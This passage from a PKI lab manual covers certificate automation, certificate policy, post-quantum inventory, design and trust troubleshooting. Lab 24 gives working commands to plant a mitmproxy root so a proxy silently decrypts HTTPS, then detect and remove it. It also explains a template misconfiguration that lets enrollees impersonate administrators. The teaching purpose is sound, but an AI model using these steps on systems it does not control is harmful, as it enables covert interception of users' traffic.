Number|NotBefore|NotAfter|Issuer' -Context 0,1
```

EXPECTED OUTPUT

```
serial=6B1F...
notBefore=... 10:00:00 GMT
notAfter=... 11:00:00 GMT
issuer=O=PKI Lab, CN=PKI Lab Workload CA
```

- 6 Wait about 15 minutes (or run `cmctl renew demo`) and read the secret again. Check the events to see what the controller did.

BOTH TRACKS

```
kubectl describe certificate demo | sed -n '/Events/, $p'  
kubectl get certificaterequests
```

EXPECTED OUTPUT

```
Normal Issuing    ... Renewing certificate as renewal was scheduled at ...  
Normal Reused/Generated ... Stored new private key in temporary Secret resource  
Normal Issuing    ... The certificate has been successfully issued  
(new serial, new notBefore/notAfter, new key)
```

- 7 Break the automation: delete the CA secret, force a renewal, and look for the failure signal. Then restore the secret and confirm recovery.

BOTH TRACKS

```
kubectl -n cert-manager delete secret lab-workload-ca  
cmctl renew demo      # or wait for the next scheduled renewal  
kubectl get certificate demo  
kubectl describe clusterissuer lab-workload-ca | sed -n  
'/Conditions/, /Events/p'
```

EXPECTED OUTPUT

```
NAME    READY    SECRET    AGE  
demo    False    demo-tls  25m  
Message: Error getting keypair for CA issuer: secrets "lab-workload-ca" not  
found
```

IF IT GOES WRONG

ClusterIssuer READY False: secret not found	ClusterIssuers read secrets from the cert-manager namespace by default. Recreate the secret there.
Certificate stuck at Issuing	<code>kubectl describe certificaterequest <name></code> — the request's events carry the real reason (policy, issuer error, invalid duration).
duration below the minimum	cert-manager requires duration of at least 1h; <code>renewBefore</code> must be shorter than duration.
The workload CA was signed without pathlen:0	Harmless in the lab, but in production bound every CA you hand to automation.

CHECK YOUR WORK

1. The certificate was still valid when the CA secret was deleted. Why is Ready=False more urgent than it looks?
2. Why is a one-hour certificate with automatic rotation often safer than a one-year certificate with a well-protected key?
3. Why use a separate workload CA instead of giving cert-manager the Lab 15 issuing CA?

Security, Governance and Design

How trust gets broken, the policy that keeps it honest, the post-quantum transition, and enterprise design.

Labs 24–27

LAB 24 Chapter 24 • 45 min

A rogue root enables interception

OBJECTIVE

Demonstrate, in the lab only, how adding one rogue root to a trust store lets a proxy silently decrypt TLS; detect it; then remove it and confirm the protection returns.

BEFORE YOU START

- cli01 only, with a snapshot taken first. Never do this on a machine you do not own.
- mitmproxy: Linux `sudo apt install mitmproxy` (or `pipx install mitmproxy`); Windows `winget install mitmproxy.mitmproxy`.
- `www.lab.test` served by web01 (Lab 19).

STEPS

- 1 Export a baseline list of trusted root fingerprints. This is the evidence you will diff later.

LINUX • OPENSSEL / BASH

```
awk -v cmd='openssl x509 -noout -fingerprint -sha256 -subject'
'/BEGIN/{close(cmd)};{print | cmd}' \
/etc/ssl/certs/ca-certificates.crt > notes/roots-baseline.txt; wc -l
notes/roots-baseline.txt
```

WINDOWS • POWERSHELL

```
Get-ChildItem Cert:\LocalMachine\Root, Cert:\CurrentUser\Root | Select-Object
Thumbprint, Subject | Export-Csv C:\pki-lab\notes\roots-baseline.csv -
NoTypeInfoation
```

- 2 Start an intercepting proxy. On first run it creates its own CA.

LINUX • OPENSSL / BASH

```
mitmdump --listen-port 8080 &  
sleep 3; ls ~/.mitmproxy/
```

WINDOWS • POWERSHELL

```
Start-Process mitmdump -ArgumentList '--listen-port 8080'  
Start-Sleep 3; Get-ChildItem $env:USERPROFILE\.mitmproxy
```

EXPECTED OUTPUT

```
mitmproxy-ca-cert.cer mitmproxy-ca-cert.p12 mitmproxy-ca-cert.pem  
mitmproxy-ca.pem ...
```

-
- 3 Send HTTPS through the proxy. The defence works: the forged certificate chains to a root you do not trust.

LINUX • OPENSSL / BASH

```
curl -sv -x http://127.0.0.1:8080 https://www.lab.test/ -o /dev/null 2>&1 |  
grep -iE 'issuer|problem'
```

WINDOWS • POWERSHELL

```
curl.exe -sv -x http://127.0.0.1:8080 https://www.lab.test/ -o NUL 2>&1 |  
Select-String 'SEC_E'
```

EXPECTED OUTPUT • LINUX

```
SSL certificate problem: unable to get local issuer certificate
```

EXPECTED OUTPUT • WINDOWS

```
schannel: SEC_E_UNTRUSTED_ROOT (0x80090325)
```

-
- 4 Now plant the rogue root in the trust store — the single change an attacker, malware or an over-reaching "security" product needs.

LINUX • OPENSSL / BASH

```
sudo cp ~/.mitmproxy/mitmproxy-ca-cert.pem /usr/local/share/ca-  
certificates/mitmproxy.crt  
sudo update-ca-certificates
```

WINDOWS • POWERSHELL

```
certutil -addstore Root $env:USERPROFILE\.mitmproxy\mitmproxy-ca-cert.cer
```

- 5 Repeat step 3. The connection succeeds with no warning; the proxy console shows the full decrypted request. Look at who issued the certificate you received.

LINUX • OPENSSL / BASH

```
curl -sv -x http://127.0.0.1:8080 https://www.lab.test/ -o /dev/null 2>&1 |  
grep -E 'issuer|subject'
```

WINDOWS • POWERSHELL

```
curl.exe -sv -x http://127.0.0.1:8080 https://www.lab.test/ -o NUL 2>&1 |  
Select-String 'HTTP/'
```

EXPECTED OUTPUT

```
* subject: CN=www.lab.test  
* issuer: CN=mitmproxy; O=mitmproxy (not PKI Lab Issuing CA 1)
```

- 6 Detect it two ways: compare the leaf fingerprint via the proxy with the fingerprint direct from the server, and diff the trust store against your baseline.

LINUX • OPENSSL / BASH

```
openssl s_client -connect www.lab.test:443 -servername www.lab.test </dev/null  
2>/dev/null | openssl x509 -noout -fingerprint -sha256  
openssl s_client -proxy 127.0.0.1:8080 -connect www.lab.test:443 -servername  
www.lab.test </dev/null 2>/dev/null | openssl x509 -noout -fingerprint -sha256  
awk -v cmd='openssl x509 -noout -fingerprint -sha256 -subject'  
'/BEGIN/{close(cmd)};{print | cmd}' /etc/ssl/certs/ca-certificates.crt | diff  
notes/roots-baseline.txt -
```

WINDOWS • POWERSHELL

```
$base = Import-Csv C:\pki-lab\notes\roots-baseline.csv  
Get-ChildItem Cert:\LocalMachine\Root, Cert:\CurrentUser\Root | Where-Object  
Thumbprint -notin $base.Thumbprint | Format-List Subject, Thumbprint,  
NotBefore
```

EXPECTED OUTPUT

```
> sha256 Fingerprint=... subject=O=mitmproxy, CN=mitmproxy
```

- 7 Remove the rogue root and confirm interception fails again. Stop the proxy and revert the snapshot.

LINUX • OPENSSL / BASH

```
sudo rm /usr/local/share/ca-certificates/mitmproxy.crt && sudo update-ca-  
certificates --fresh  
curl -s -x http://127.0.0.1:8080 https://www.lab.test/ -o /dev/null || echo  
'BLOCKED (good)'  
kill %1
```

WINDOWS • POWERSHELL

```
certutil -delstore Root mitmproxy  
curl.exe -s -x http://127.0.0.1:8080 https://www.lab.test/ -o NUL; if  
($LASTEXITCODE) { 'BLOCKED (good)' }  
Stop-Process -Name mitmdump
```

EXPECTED OUTPUT

```
BLOCKED (good)
```

- 8 Awareness review (Windows track): in certtmpl.msc, list any template that combines "Supply in the request" on the Subject Name tab, a client-authentication EKU, and enroll rights for broad groups. That combination lets any enrollee request a certificate naming someone else — for example an administrator. Record the templates you find and how you would fix each.

IF IT GOES WRONG

Interception succeeds before you planted the root	The mitmproxy CA was already trusted from a previous attempt. Diff the trust store against your baseline and remove it.
Some applications still fail through the proxy after the root is trusted	They use their own trust store (Firefox, Java, Python certifi) or pin certificates. That is defence in depth working.
update-ca-certificates did not remove it	Use --fresh, and check /etc/ssl/certs for a leftover symlink named mitmproxy.pem.

CHECK YOUR WORK

1. The certificate the client received in step 5 had the correct name and a valid chain. Which validation check did the attacker defeat, and how?
2. Name two legitimate reasons organizations install their own interception roots, and one control that keeps that from becoming a silent risk.

3. Why is unauthorized trust-store change worth alerting on in the same way as a new local administrator?

Draft a certificate policy for the lab CA

OBJECTIVE

Write a minimal but real certificate policy for the lab PKI covering issuance, key protection and revocation, and map each control to the evidence that would prove it operates.

BEFORE YOU START

- Labs 13, 15 and 17 complete — the policy must describe the PKI you actually built.
- A text editor; keep the policy in notes/policy/ under version control.

STEPS

- 1 Put the policy under change control before you write a word. Policy changes, like CA configuration changes, should be reviewable.

BOTH TRACKS

```
mkdir -p notes/policy && cd notes/policy && git init
cp ../../int-ca/int-ca.cnf ../../root-ca/root-ca.cnf .      # Windows track:
certutil -getreg CA > ca-config.txt
git add . && git commit -m "Baseline CA configuration"
```

- 2 Create the policy skeleton. Keep each section to a few precise sentences; "shall" statements only.

BOTH TRACKS

PKI LAB CERTIFICATE POLICY v0.1

1 Scope and community	which CAs, which subscribers, which relying parties
2 Roles	CA administrator, certificate manager (approver), auditor; who may not hold two roles
3 Identity validation	what is checked before issuing each certificate type, by whom
4 Certificate profiles	per type: key algorithm/size, EKU, maximum validity, SAN rules
5 Key protection	root: offline, encrypted, ceremony; issuing: host hardening, backups; subscribers: generation location
6 Issuance and renewal	request channel, approval, automation allowed, rekey rules
7 Revocation	reasons, who may request, time to revoke, CRL/OCSP publishing intervals and nextUpdate
8 Logging and audit	what is logged, retention, review frequency
9 Ownership	every certificate has a named owner; process when an owner leaves
10 Compromise and recovery	CA key compromise, root recovery, communication

3 Fill in section 4 as a table, using the profiles you configured.

BOTH TRACKS

TYPE	KEY	EKU	MAX VALIDITY	SAN RULE
ISSUED BY				
TLS server	P-256/RSA3072	serverAuth	90 days	DNS names under
lab.test only	Issuing CA 1			
Client/user	P-256	clientAuth	1 year	email = directory mail
attribute	Issuing CA 1			
Code signing	P-256	codeSigning	1 year	none; subject 0=PKI Lab
Issuing CA 1, approval required				
Workload	P-256	server+client	24 hours	*.svc.cluster.local
Workload CA				
Issuing CA	P-384/RSA3072	—	5 years	—
Root, ceremony only				

4 Write sections 5 and 7 with numbers, not adjectives: e.g. "Revocation for key compromise shall be completed and a CRL published within 4 hours of the request"; "Issuing CA CRLs shall be published every 24 hours with a nextUpdate of 7 days".

5 Turn on the logging your section 8 promises.

LINUX • OPENSSL / BASH

```
# issuance/revocation record already exists: the CA database
awk -F'\t' '{print $1, $2, $4, $6}' ~/pki-lab/int-ca/index.txt | column -t
# add a root ceremony log: date, participants, actions, key fingerprint,
signatures
echo "$(date -Is) root01 powered on for CRL renewal; operators: A, B" >>
notes/policy/root-ceremony-log.md
```

WINDOWS • POWERSHELL

```
# on ca01 and root01
certutil -setreg CA\AuditFilter 127
auditpol /set /subcategory:"Certification Services" /success:enable
/failure:enable
Restart-Service certsvc
Get-WinEvent -FilterHashtable @{ LogName = 'Security'; Id = 4886,4887,4870 } -
MaxEvents 5 | Format-Table TimeCreated, Id, Message -Wrap
```

EXPECTED OUTPUT • WINDOWS

```
4886 Certificate Services received a certificate request.
4887 Certificate Services approved a certificate request and issued a
certificate.
4870 Certificate Services revoked a certificate.
```

-
- 6 Build the evidence map: for every "shall" in sections 5–8, name the artifact an auditor would inspect and where it lives (CA database, audit events, ceremony log, git history, CRL timestamps on the web server).
 - 7 Test your policy against reality. Take three certificates you issued in earlier labs and check each against section 4. Record every deviation — for example the 7-day soon.lab.test certificate or anything issued without approval — and either fix the practice or amend the policy through a commit.
-

IF IT GOES WRONG

The policy reads like a wish list

Replace every "should", "where possible" and "appropriate" with a number, a role or a tool. If you cannot, the control does not exist yet.

Windows: no 4886/4887 events appear

Both the CA AuditFilter and the Audit Certification Services subcategory must be enabled; restart certsvc after changing AuditFilter.

CHECK YOUR WORK

1. What is the difference between a Certificate Policy and a Certification Practice Statement?
2. Which two roles in your section 2 must never be held by the same person, and why?
3. Why does your policy set a maximum validity for TLS server certificates far below what your CA software allows?

Inventory algorithms for a future migration

OBJECTIVE

Inventory the key and signature algorithms used across every lab certificate and TLS endpoint, identify what a post-quantum migration would touch, and try hybrid post-quantum key exchange where your tools support it.

BEFORE YOU START

- Certificates from Labs 10–23 in their filed locations.
- Optional: OpenSSL 3.5 or later for the post-quantum steps (check with openssl version).

STEPS

1 Inventory algorithms in certificate files.

LINUX • OPENSSL / BASH

```
for f in ~/pki-lab/certs/*.crt.pem ~/pki-lab/root-ca/*.crt.pem ~/pki-lab/int-ca/*.crt.pem; do
    t=$(openssl x509 -in "$f" -noout -text 2>/dev/null) || continue
    pk=$(grep -m1 'Public Key Algorithm' <<<"$t" | awk -F': ' '{print $2}')
    bits=$(grep -m1 -oE '\([0-9]+ bit' <<<"$t" | tr -dc 0-9)
    sig=$(grep -m1 'Signature Algorithm' <<<"$t" | awk -F': ' '{print $2}')
    end=$(openssl x509 -in "$f" -noout -enddate | cut -d= -f2)
    echo "$(basename "$f"),$pk,$bits,$sig,$end"
done | tee notes/algorithms.csv
```

WINDOWS • POWERSHELL

```
Get-ChildItem Cert:\LocalMachine\My, Cert:\LocalMachine\CA,
Cert:\CurrentUser\My | ForEach-Object {
    $alg = $_.PublicKey.Oid.FriendlyName
    $bits = if ($alg -eq 'RSA') { $_.PublicKey.GetRSAPublicKey().KeySize } else
{ $_.PublicKey.GetECDsaPublicKey().KeySize }
    [pscustomobject]@{ Subject = $_.Subject; Key = $alg; Bits = $bits; Signature
= $_.SignatureAlgorithm.FriendlyName; NotAfter = $_.NotAfter }
} | Tee-Object -Variable inv | Format-Table -AutoSize
$inv | Export-Csv C:\pki-lab\notes\algorithms.csv -NoTypeInfoation
```

EXPECTED OUTPUT

```
lab-root-ca.crt.pem,id-ecPublicKey,384,ecdsa-with-SHA384,... 2035
lab-int-ca.crt.pem,id-ecPublicKey,384,ecdsa-with-SHA384,... 2030
www.lab.test.crt.pem,id-ecPublicKey,256,ecdsa-with-SHA256,...
alice.crt.pem,rsaEncryption,3072,sha256WithRSAEncryption,...
```

2 Inventory what your TLS endpoints negotiate: protocol, cipher, key-exchange group and signature.

LINUX • OPENSSL / BASH

```
for ep in www.lab.test:443 vpn.lab.test:1194 badssl.com:443; do echo "== $ep"
  openssl s_client -connect $ep -servername $(cut -d: -f1 <<<$ep) </dev/null
2>/dev/null | grep -E 'Protocol|Cipher is|Temp Key|Negotiated TLS1.3
group|Peer signature type'; done
```

WINDOWS • POWERSHELL

```
Get-TlsCipherSuite | Select-Object -First 8 Name, Exchange, Cipher
Get-TlsEccCurve
```

EXPECTED OUTPUT

```
New, TLSv1.3, Cipher is TLS_AES_256_GCM_SHA384
Peer signature type: ECDSA
Server Temp Key: X25519, 253 bits
```

3 Check whether your toolkit knows the new standardized algorithms (ML-KEM for key establishment, ML-DSA and SLH-DSA for signatures).

BOTH TRACKS

```
openssl version
openssl list -kem-algorithms 2>/dev/null | grep -i mlkem
openssl list -signature-algorithms 2>/dev/null | grep -iE 'ml-dsa|slh-dsa' |
head -3
```

EXPECTED OUTPUT

```
OpenSSL 3.5.x ... (3.0.x: the lists come back empty)
{ 2.16.840.1.101.3.4.4.2, id-alg-ml-kem-768, ML-KEM-768, MLKEM768 } @
default
{ 2.16.840.1.101.3.4.3.18, id-ml-dsa-65, ML-DSA-65, MLDSA65 } @ default
```

- 4 Optional (OpenSSL 3.5+ and internet access): negotiate a hybrid classical + post-quantum key exchange with a public server that supports it.

BOTH TRACKS

```
openssl s_client -connect www.google.com:443 -groups X25519MLKEM768 </dev/null 2>/dev/null | grep -E 'Negotiated TLS1.3 group|Temp Key'
```

EXPECTED OUTPUT

```
Negotiated TLS1.3 group: X25519MLKEM768
```

- 5 Optional (OpenSSL 3.5+): create an ML-DSA self-signed certificate and look at its size. No mainstream browser or OS trusts ML-DSA web certificates yet; this is for inspection only.

BOTH TRACKS

```
openssl req -x509 -new -newkey ML-DSA-65 -noenc -keyout /tmp/pq.key -out /tmp/pq.crt -subj /CN=pq.lab.test -days 7
openssl x509 -in /tmp/pq.crt -noout -text | grep -E 'Public Key Algorithm|Signature Algorithm' | sort -u
openssl x509 -in /tmp/pq.crt -outform DER | wc -c; openssl x509 -in certs/www.lab.test.crt.pem -outform DER | wc -c
```

EXPECTED OUTPUT

```
Public Key Algorithm: ML-DSA-65
Signature Algorithm: ML-DSA-65
~5500 bytes vs ~700 bytes for the P-256 certificate
```

- 6 Write the migration map in notes/lab26.md: for each row of the inventory, list what a change of algorithm would touch.

BOTH TRACKS

ITEM	LIFETIME	ALGORITHM	WOULD TOUCH IN A MIGRATION
Root CA	10 yr	P-384	new root, redistribution to every trust store, ceremony
Issuing CA 1	5 yr	P-384	re-sign by new root, CA software/HSM support
TLS servers	90 d	P-256	profiles; servers and clients that must accept new sigs
Code signatures	years	P-256	signatures that must still verify long after signing
VPN	1 yr	P-256	gateway and client software versions
Pinned keys / apps	?	?	find them first – hard-coded expectations break silently

IF IT GOES WRONG

openssl list shows no ML-KEM / ML-DSA	You have OpenSSL earlier than 3.5 (Ubuntu 24.04 ships 3.0). The inventory steps still apply; the optional steps need a newer build or a container with OpenSSL 3.5+.
-groups X25519MLKEM768: "Call to SSL_CONF_cmd failed"	Your OpenSSL does not support that group name. Upgrade, or skip.
Windows: GetECDsaPublicKey throws for some certificates	The key is neither RSA nor ECDSA (for example DSA or a newer algorithm). Record its OID friendly name and continue.

CHECK YOUR WORK

1. Which rows of your inventory are exposed to "harvest now, decrypt later", and which are not?
2. Why does the quantum threat fall on asymmetric algorithms rather than on AES-256 or SHA-256?
3. What single design property would make your lab PKI's migration easiest, and which parts of the lab already have it?

Write an enterprise PKI design document

OBJECTIVE

Produce a complete design document for a small enterprise PKI — requirements, hierarchy, key protection, issuance, revocation and distribution, lifecycle operations and disaster recovery — that another engineer could build from.

BEFORE YOU START

- Labs 13, 15, 17, 21, 23 and 25 — reuse their decisions and evidence.
- The scenario in step 1.

STEPS

1 Read the scenario.

BOTH TRACKS

SCENARIO

A 400-person company, two offices and one cloud region.

- Active Directory domain; ~350 Windows laptops, ~60 macOS laptops
- ~150 servers (Windows and Linux); internal web apps behind two load balancers
- Wi-Fi with 802.1X; remote-access VPN for all staff
- A Kubernetes platform running ~80 services that need mutual TLS
- ~40 network devices and printers; a handful of in-house signed tools
- Auditors require documented key protection, issuance approval and revocation within 24 hours
- Budget allows one pair of network HSMs; no dedicated PKI team (2 engineers part-time)

2 Create the document from this outline. Each section ends with the decisions and the reasons, in that order.

BOTH TRACKS

1 Requirements	trust matrix: WHAT must be trusted, BY WHOM, FOR WHAT, FOR HOW LONG
2 Hierarchy	tiers, CA names, validity nesting, path length and name constraints, blast radius per CA
3 Key protection	root ceremony, HSM usage, backups, who holds which secrets (M-of-N)
4 Issuance	profiles table, enrollment method per population (auto-enroll, ACME, SCEP/MDM, manual), approvals
5 Revocation	CRL/OCSP design, publishing intervals, high-availability URLs, soft/hard-fail per relying party
6 Distribution	how the root reaches every trust store (GPO, MDM, images, containers, Java/Firefox)
7 Lifecycle operations	inventory, monitoring, alerting, renewal runbooks, owners
8 Disaster recovery	CA restore, root recovery, loss of HSM, CRL-signing continuity; recovery time targets
9 Risks and mistakes	the chronic-pain list you are designing out
10 Migration	how you would change algorithms or replace a CA without an outage

-
- 3 Section 1: build the trust matrix as a table with one row per population (laptops, servers, Wi-Fi, VPN, services, devices, code). Every later section should trace back to a row.
 - 4 Section 2: draw the hierarchy. Decide whether the Kubernetes platform gets its own issuing CA (and why), and whether code signing needs a separate issuing CA.
 - 5 Section 8: write the recovery runbook for "issuing CA server destroyed". List exactly what must exist beforehand (CA key backup or HSM, database backup, configuration export, CRL signing plan) and test your list against the lab: could you restore ca01 from what you currently keep?

LINUX • OPENSSL / BASH

```
# lab evidence: what would you need to rebuild ca01?  
ls -la ~/pki-lab/int-ca/ ~/pki-lab/int-ca/private/
```

WINDOWS • POWERSHELL

```
# lab evidence: back up the CA database, key and configuration
Backup-CARoleService -Path C:\pki-backup -Password (Read-Host -AsSecureString
'Backup password')
certutil -getreg CA > C:\pki-backup\ca-registry.txt
Get-ChildItem C:\pki-backup -Recurse | Select-Object FullName, Length
```

6 Self-review against the rubric below. Revise until every line is a yes.

BOTH TRACKS

```
[ ] Every certificate population has an enrollment method that needs no human
for renewal, or a named owner
[ ] No CA outlives its issuer; no leaf profile exceeds the policy maximum
[ ] Root key: offline, ceremony, backups in two locations, M-of-N access
[ ] Every CDP/AIA URL is reachable by every relying party, including from
outside the office
[ ] The CRL of every CA can be re-signed before nextUpdate even if a CA server
is lost
[ ] Compromise of any single issuing CA can be contained without replacing the
root
[ ] The two engineers can operate this: runbooks exist for renewal,
revocation, restore
```

IF IT GOES WRONG

The design has one CA doing everything	Separate by blast radius and lifecycle: at minimum split automation-heavy workload issuance from the CA that issues user and device identities.
DR section says "restore from backup"	Name the backup, where it is, who can open it, how the CA key is restored (HSM or key backup), and how long it takes. If you have not tested it, say so and schedule the test.

CHECK YOUR WORK

1. Which relying party in your design is hardest to update with a new root, and how does your design account for it?
2. What happens to every service in the company if the issuing CA is down for three days? Walk through it.
3. Which of the chronic PKI mistakes from Chapter 27 did your first draft contain?

Troubleshooting

The full diagnostic framework applied to every major failure category.

Snapshot before each lab.

Labs 28–31

LAB 28 Chapter 28 • 90 min

Apply the full framework to a multi-cause failure

OBJECTIVE

Diagnose a trust failure with more than one cause by working the validation checklist in order, from the failing party's view, and document the reasoning from symptom to every root cause.

BEFORE YOU START

- ca01 and a Linux web01 with nginx. Both tracks use this Linux fault server; Windows learners diagnose from Windows cli01.
- Snapshot web01 and cli01.
- Ideally, a partner runs step 1 so you do not know the faults.

STEPS

- 1 Plant the faults (partner or instructor). On ca01, issue the fault certificate; on web01, deploy it for shop.lab.test. Add shop.lab.test to cli01's hosts file.

BOTH TRACKS

```
# ca01
cd ~/pki-lab/int-ca
openssl req -new -newkey ec -pkeyopt ec_paramgen_curve:P-256 -noenc -keyout
/tmp/f28.key \
    -subj /CN=www.shop.lab.test -addext subjectAltName=DNS:www.shop.lab.test -
out /tmp/f28.csr
openssl ca -config int-ca.cnf -batch -extensions server -notext \
    -startdate 20250101000000Z -enddate 20250201000000Z -in /tmp/f28.csr -out
/tmp/f28.crt
scp /tmp/f28.crt /tmp/f28.key web01.lab.test:/tmp/
# web01
sudo install -m 644 /tmp/f28.crt /etc/nginx/tls/shop.crt.pem && sudo install -
m 600 /tmp/f28.key /etc/nginx/tls/shop.key.pem
printf 'server {\n listen 443 ssl;\n server_name shop.lab.test;\n
ssl_certificate /etc/nginx/tls/shop.crt.pem;\n ssl_certificate_key
/etc/nginx/tls/shop.key.pem;\n}\n' | sudo tee /etc/nginx/sites-enabled/shop
>/dev/null
sudo nginx -t && sudo systemctl reload nginx
```

- 2 Reproduce from the failing party. Record the exact message and which client produced it.

LINUX • OPENSSL / BASH

```
curl -sv -o /dev/null https://shop.lab.test/ 2>&1 | grep -iE
'problem|error|expired'
```

WINDOWS • POWERSHELL

```
curl.exe -sv -o NUL https://shop.lab.test/ 2>&1 | Select-String
'SEC_E|schannel'
```

EXPECTED OUTPUT • LINUX

```
SSL certificate problem: unable to get local issuer certificate
```

EXPECTED OUTPUT • WINDOWS

```
schannel: SEC_E_CERT_EXPIRED (0x80090328)
```

- 3 Notice that the two clients report different first failures for the same server. Before going further, write down why that might be.

- 4 Gather the evidence as presented — not as someone believes it is deployed.

BOTH TRACKS

```
openssl s_client -connect shop.lab.test:443 -servername shop.lab.test -
showcerts </dev/null 2>/dev/null > /tmp/shop.txt
grep -cE 'BEGIN CERT' /tmp/shop.txt
openssl x509 -in /tmp/shop.txt -noout -subject -issuer -dates -ext
subjectAltName,extendedKeyUsage
```

- 5 Work the checklist in order and fill in the table. Use one command per row and do not skip a row because an earlier row failed.

BOTH TRACKS

#	CHECK	COMMAND / EVIDENCE
	RESULT	
1	signature	openssl verify -partial_chain -trusted lab-int-ca.crt.pem leaf.pem
2	chain	count certificates presented; leaf issuer = ?
3	anchor	openssl verify -untrusted lab-int-ca.crt.pem leaf.pem (system store)
4	dates	openssl x509 -noout -dates / -checkend 0
5	name	openssl x509 -noout -checkhost shop.lab.test
6	revocation	openssl verify -crl_check -crl_download -untrusted lab-int-ca.crt.pem leaf.pem
7	usage	openssl verify -purpose sslserver ...

WINDOWS • POWERSHELL

```
# Windows client view of the same evidence
$c = Get-RemoteCert shop.lab.test
Export-Certificate -Cert $c -FilePath $env:TEMP\shop.cer | Out-Null
certutil -verify -urlfetch $env:TEMP\shop.cer | Select-String
'ERROR|0x800|Expired|Revocation'
```

- 6 Fix the faults one at a time, most fundamental first. After each fix, re-test from both clients and record which symptom appears next.
- 7 Confirm end to end from the failing parties with strict settings, then write the root-cause report.

BOTH TRACKS

```
openssl s_client -connect shop.lab.test:443 -servername shop.lab.test -  
verify_hostname shop.lab.test -verify_return_error -crl_check -crl_download  
</dev/null 2>/dev/null | grep 'Verify return'  
# report: symptom(s) per client · evidence · each root cause · fix ·  
verification · prevention
```

EXPECTED OUTPUT

```
Verify return code: 0 (ok)
```

IF IT GOES WRONG

You fixed the chain and now see a new error	Expected: a multi-cause failure shows one symptom at a time. Record each surfaced symptom; that sequence is the evidence for your report.
Everything passes from your admin workstation	You are not the failing party. Reproduce from cli01 (and a strict client), with caches flushed.
-checkhost says the name matches	Check you tested shop.lab.test, not www.shop.lab.test.

CHECK YOUR WORK

1. What were the root causes, and in which order did each client reveal them?
2. Why did the Windows client report "expired" while curl on Linux reported a chain problem?
3. Why work the checklist fully instead of stopping at the first failure you find?

Diagnose missing-intermediate and untrusted-root failures

OBJECTIVE

Diagnose and fix a missing-intermediate failure and an untrusted-root failure, tell them apart from evidence rather than error strings, and confirm each fix from the client side.

BEFORE YOU START

- web01 (Linux nginx fault server, as in Lab 28) serving `www.lab.test` with its full chain (Lab 19).
- Snapshot web01 and cli01.

STEPS

- 1 Fault A — plant: on web01, point `www.lab.test` at the leaf-only file and reload.

BOTH TRACKS

```
sudo install -m 644 certs/www.lab.test.crt.pem
/etc/nginx/tls/www.lab.test.leaf.pem
sudo sed -i 's#/www.lab.test.fullchain.pem#/www.lab.test.leaf.pem#'
/etc/nginx/sites-available/www.lab.test
sudo nginx -t && sudo systemctl reload nginx
```

- 2 Reproduce from strict and lenient clients, and note the depth at which verification stops.

LINUX • OPENSSL / BASH

```
openssl s_client -connect www.lab.test:443 -servername www.lab.test </dev/null
2>&1 | grep -E '^depth|verify error|Verify return'
```

WINDOWS • POWERSHELL

```
certutil -urlcache * delete | Out-Null
curl.exe -sv -o NUL https://www.lab.test/ 2>&1 | Select-String 'SEC_E|HTTP/'
```

EXPECTED OUTPUT • LINUX

```
depth=0 CN = www.lab.test
verify error:num=20:unable to get local issuer certificate
verify error:num=21:unable to verify the first certificate
Verify return code: 21 (unable to verify the first certificate)
```

EXPECTED OUTPUT • WINDOWS

```
HTTP/1.1 200 OK          (AIA fetch repaired the chain – the fault is invisible here)
```

- 3 Confirm the cause: count what is presented and compare the leaf's issuer with what the client holds.

BOTH TRACKS

```
openssl s_client -connect www.lab.test:443 -servername www.lab.test -showcerts </dev/null 2>/dev/null | grep -E '^ *[0-9]+ s:|^ +i:'
```

EXPECTED OUTPUT

```
0 s:CN = www.lab.test
  i:0 = PKI Lab, CN = PKI Lab Issuing CA 1          (only depth 0: the intermediate is missing)
```

- 4 Fix on the server and confirm from the client — with caches cleared on Windows so AIA cannot hide a regression.

BOTH TRACKS

```
sudo sed -i 's#www.lab.test.leaf.pem#www.lab.test.fullchain.pem#' /etc/nginx/sites-available/www.lab.test
sudo nginx -t && sudo systemctl reload nginx
openssl s_client -connect www.lab.test:443 -servername www.lab.test -verify_return_error </dev/null 2>/dev/null | grep 'Verify return'
```

EXPECTED OUTPUT

```
Verify return code: 0 (ok)
```

- 5 Fault B — plant: make cli01 behave like a new, unmanaged laptop by removing the lab root from its trust store.

LINUX • OPENSSL / BASH

```
sudo rm /usr/local/share/ca-certificates/pki-lab-root.crt && sudo update-ca-certificates --fresh
```

WINDOWS • POWERSHELL

```
Get-ChildItem Cert:\LocalMachine\Root | Where-Object Subject -match 'PKI Lab Root' | Remove-Item  
# domain members will get it back at the next policy refresh – do this on a non-domain VM or test quickly
```

- 6 Reproduce. Compare the output with Fault A: same error number, different depth, complete chain.

LINUX • OPENSLL / BASH

```
openssl s_client -connect www.lab.test:443 -servername www.lab.test </dev/null 2>&1 | grep -E '^depth|verify error|Verify return'
```

WINDOWS • POWERSHELL

```
curl.exe -sv -o NUL https://www.lab.test/ 2>&1 | Select-String 'SEC_E'  
Get-RemoteCert www.lab.test -Chain | Format-Table Subject, Issuer
```

EXPECTED OUTPUT • LINUX

```
depth=1 0 = PKI Lab, CN = PKI Lab Issuing CA 1  
verify error:num=20:unable to get local issuer certificate  
Verify return code: 20 (unable to get local issuer certificate)
```

EXPECTED OUTPUT • WINDOWS

```
schannel: SEC_E_UNTRUSTED_ROOT (0x80090325) - The certificate chain was issued by an authority that is not trusted.
```

- 7 Confirm the cause: the chain is complete, and the issuer of the top presented certificate is not in the store.

LINUX • OPENSLL / BASH

```
openssl s_client -connect www.lab.test:443 -servername www.lab.test -showcerts </dev/null 2>/dev/null | grep -c 'BEGIN CERT'  
grep -c 'PKI Lab Root' <(awk -v cmd='openssl x509 -noout -subject' '/BEGIN/{close(cmd)};{print | cmd}' /etc/ssl/certs/ca-certificates.crt)
```

WINDOWS • POWERSHELL

```
Get-ChildItem Cert:\LocalMachine\Root | Where-Object Subject -match 'PKI Lab Root' | Measure-Object | Select-Object Count
```

EXPECTED OUTPUT

```
2
0
```

- 8 Fix on the client, through the distribution channel rather than by hand if one exists (GPO, MDM, image), and confirm.

LINUX • OPENSSL / BASH

```
sudo cp lab-root-ca.crt.pem /usr/local/share/ca-certificates/pki-lab-root.crt
&& sudo update-ca-certificates
curl -s -o /dev/null -w '%{http_code}\n' https://www.lab.test/
```

WINDOWS • POWERSHELL

```
gpupdate /force          # domain-joined: the root returns from the directory
certutil -verify -urlfetch $env:TEMP\www.cer | Select-String 'completed
successfully'
```

EXPECTED OUTPUT • LINUX

```
200
```

- 9 Extra — the wrong-certificate surprise: connect without SNI and by IP address. Record which certificate each returns.

BOTH TRACKS

```
openssl s_client -connect web01.lab.test:443 -noservername </dev/null
2>/dev/null | openssl x509 -noout -subject
openssl s_client -connect 10.10.0.20:443 </dev/null 2>/dev/null | openssl x509
-noout -subject
```

IF IT GOES WRONG

